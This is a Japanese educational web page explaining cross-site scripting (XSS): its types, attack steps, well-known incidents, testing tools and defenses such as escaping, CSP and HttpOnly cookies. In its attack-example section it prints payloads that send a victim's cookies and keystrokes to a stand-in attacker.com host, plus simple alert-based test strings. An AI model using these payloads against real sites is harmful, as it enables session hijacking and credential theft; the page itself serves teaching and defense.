← 攻撃手法一覧
Webアプリケーション攻撃OWASP Top 101990年代〜現在

XSS(クロスサイトスクリプティング)とは

XSS(Cross-Site Scripting)はWebアプリケーションに悪意あるスクリプトを埋め込み、 そのサイトを訪問したユーザーのブラウザ上で実行させる攻撃です。 セッションハイジャック・フィッシング・マルウェア配布など多様な攻撃に悪用されます。

目次
1. XSSの概要2. XSSの種類3. 攻撃の仕組み4. 具体的な攻撃例5. 実際の被害事例6. 脆弱性の確認方法7. 対策・予防方法

1. XSSの概要

XSSはWebアプリケーションがユーザーの入力をそのままHTMLに出力する際に発生します。 攻撃者が悪意あるJavaScriptを入力すると、それがWebページの一部として他のユーザーに配信され、 被害者のブラウザ上で実行されてしまいます。

セッションハイジャック
CookieからセッションIDを盗み、被害者としてログインした状態を乗っ取る
フィッシング
正規サイト上に偽のログインフォームを表示させ、認証情報を騙し取る
マルウェア配布
悪意あるサイトへのリダイレクトやドライブバイダウンロードでマルウェアを配布する
キーロギング
JavaScriptでキーストロークを記録し、パスワードなどを盗む

2. XSSの種類

反射型XSS(Reflected XSS)危険度:
攻撃スクリプトをURLパラメータに含め、被害者にそのURLをクリックさせる。スクリプトはサーバーを経由して反射されるがデータベースには保存されない。フィッシングメールと組み合わせて使われることが多い。
格納型XSS(Stored XSS)危険度: 最高
攻撃スクリプトがデータベースに保存され、そのページを訪問したすべてのユーザーに影響する。掲示板・コメント欄・プロフィールなどが標的になりやすい。影響範囲が広く最も危険。
DOMベースXSS(DOM-based XSS)危険度:
サーバーを介さずクライアントサイドのJavaScriptがDOMを操作する際に発生する。URLのハッシュやlocation.searchを不適切に扱うと発生する。

3. 攻撃の仕組み

STEP 1
脆弱なページの発見
検索フォーム・コメント欄・URLパラメータなど、ユーザー入力がそのまま表示される箇所を探す
STEP 2
スクリプトの注入
<script>alert('XSS')</script> などのスクリプトを入力し、実行されるか確認する
STEP 3
悪意あるURLの作成(反射型の場合)
スクリプトを含むURLを作成し、フィッシングメールやSNSで被害者に送る
STEP 4
被害者のブラウザで実行
被害者がURLを開くと、攻撃者のスクリプトが被害者のブラウザ上で実行される
STEP 5
情報の窃取・悪用
セッションCookieを攻撃者のサーバーに送信し、被害者のアカウントを乗っ取る

4. 具体的な攻撃例

基本的なXSS確認
注入コード
<script>alert('XSS')</script>
結果: アラートが表示されればXSSが可能な証明になる(実際の攻撃ではより危険なコードを使用)
セッションCookieの窃取
注入コード
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
結果: 被害者のセッションCookieが攻撃者のサーバーに送信され、アカウントが乗っ取られる
キーロガーの設置
注入コード
<script>document.onkeypress=function(e){fetch('https://attacker.com/?k='+e.key)}</script>
結果: 被害者のキー入力がすべて攻撃者に送信される

5. 実際の被害事例

2005年MySpace(Samy Worm)
Samyというユーザーが作成したXSSワームが15時間で100万人以上に感染。MySpaceのサービスを一時停止に追い込んだ。史上初の大規模XSSワーム。
2010年Twitter
XSSワーム「onMouseOver」が拡散。ユーザーがツイートにマウスを乗せるだけでリツイートされる攻撃が数時間で数万件に拡大した。
2014年eBay
XSSの脆弱性により攻撃者が商品ページに悪意あるコードを埋め込み、購入者を偽のサイトに誘導してフィッシング詐欺が行われた。
2018年British Airways
XSSを含む攻撃により50万人分のクレジットカード情報が漏洩。GDPRに基づき約2億ポンドの制裁金が科された。

6. 脆弱性の確認方法

OWASP ZAP
XSSを含むWebアプリケーションの脆弱性を自動スキャンできる無料ツール。
Burp Suite
プロキシツールとして通信を傍受・改ざんしながら手動でXSSをテストできる。
XSStrike
XSS専用の検出・悪用ツール。多様なバイパス手法を自動で試行する。
手動テスト
入力フィールドに <script>alert(1)</script> や "><img src=x onerror=alert(1)> を入力してアラートが出るか確認する。

7. 対策・予防方法

最重要出力時にHTMLエスケープを徹底する(< → &lt; > → &gt; など)
最重要Content Security Policy(CSP)ヘッダーを設定してインラインスクリプトの実行を禁止する
推奨CookieにHttpOnly属性を設定してJavaScriptからのアクセスを禁止する
推奨CookieにSecure属性を設定してHTTPS経由のみでCookieを送信する
推奨ReactやVueなどのモダンフレームワークを使用する(自動エスケープ機能がある)
推奨入力値のバリデーションを実施し、HTMLタグを含む入力を拒否または無害化する
組織向け定期的なセキュリティテストとコードレビューを実施する

まとめ

XSSはWebアプリケーション開発者が必ず理解すべき攻撃です。 出力時のHTMLエスケープとCSPの設定という2つの基本対策を徹底するだけで、 大部分のXSS攻撃を防ぐことができます。 ReactやVueなどのモダンフレームワークは自動エスケープ機能を持っているため、 フレームワークを正しく使うことも重要な防御策です。

参考・関連リンク

OWASP - Cross Site Scripting (XSS)IPA - クロスサイト・スクリプティング対策MDN - Content Security Policy (CSP)